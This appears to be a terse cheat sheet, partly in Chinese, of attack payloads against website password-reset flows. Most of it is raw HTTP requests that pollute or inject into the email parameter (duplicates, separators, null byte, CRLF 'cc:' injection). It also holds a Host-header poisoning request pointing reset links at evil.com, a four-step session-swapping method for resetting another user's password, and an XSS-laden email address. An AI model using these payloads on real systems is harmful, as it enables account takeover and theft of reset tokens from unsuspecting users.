响应
...
code: true /success /1
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com&email=hacker@mail.com
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com&code=$123456$
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com,hacker@mail.com
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com%20hacker@mail.com
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com|hacker@mail.com
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com%00hacker@mail.com
POST /reset HTTP/1.1
Host: target.com
...
email=victim
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com%0a%0dcc:hacker@mail.com
POST /newaccount HTTP/1.1
Host: target.com
...
{"email":"victim@mail.com","hacker@mail.com","token":"xxxxxxxxxx"}
POST /reset HTTP/1.1
Host: target.com
...
email=victim@mail.com
POST /reset HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
...
email=victim@mail.com
大致攻击思路:
1. 用攻击者账号13908080808进入密码找回流程,查收重置验证码、通过校验
2. 输入新密码后提交,拦截中断该请求,暂不发至服务端,这时,PHPSESSID 关联的是13908080808账号;
3. 接着,关闭浏览器的burp代理,新开重置流程的首页,在页面中输入普通账号13908090133后获取短信验证码,这时,PHPSESSID 已关联成13908090133了;
4. 最后,放行之前中断的请求,放至服务端,逻辑上,可以成功重置13908090133的密码。
"<svg/onload=alert(1)>"@gmail.com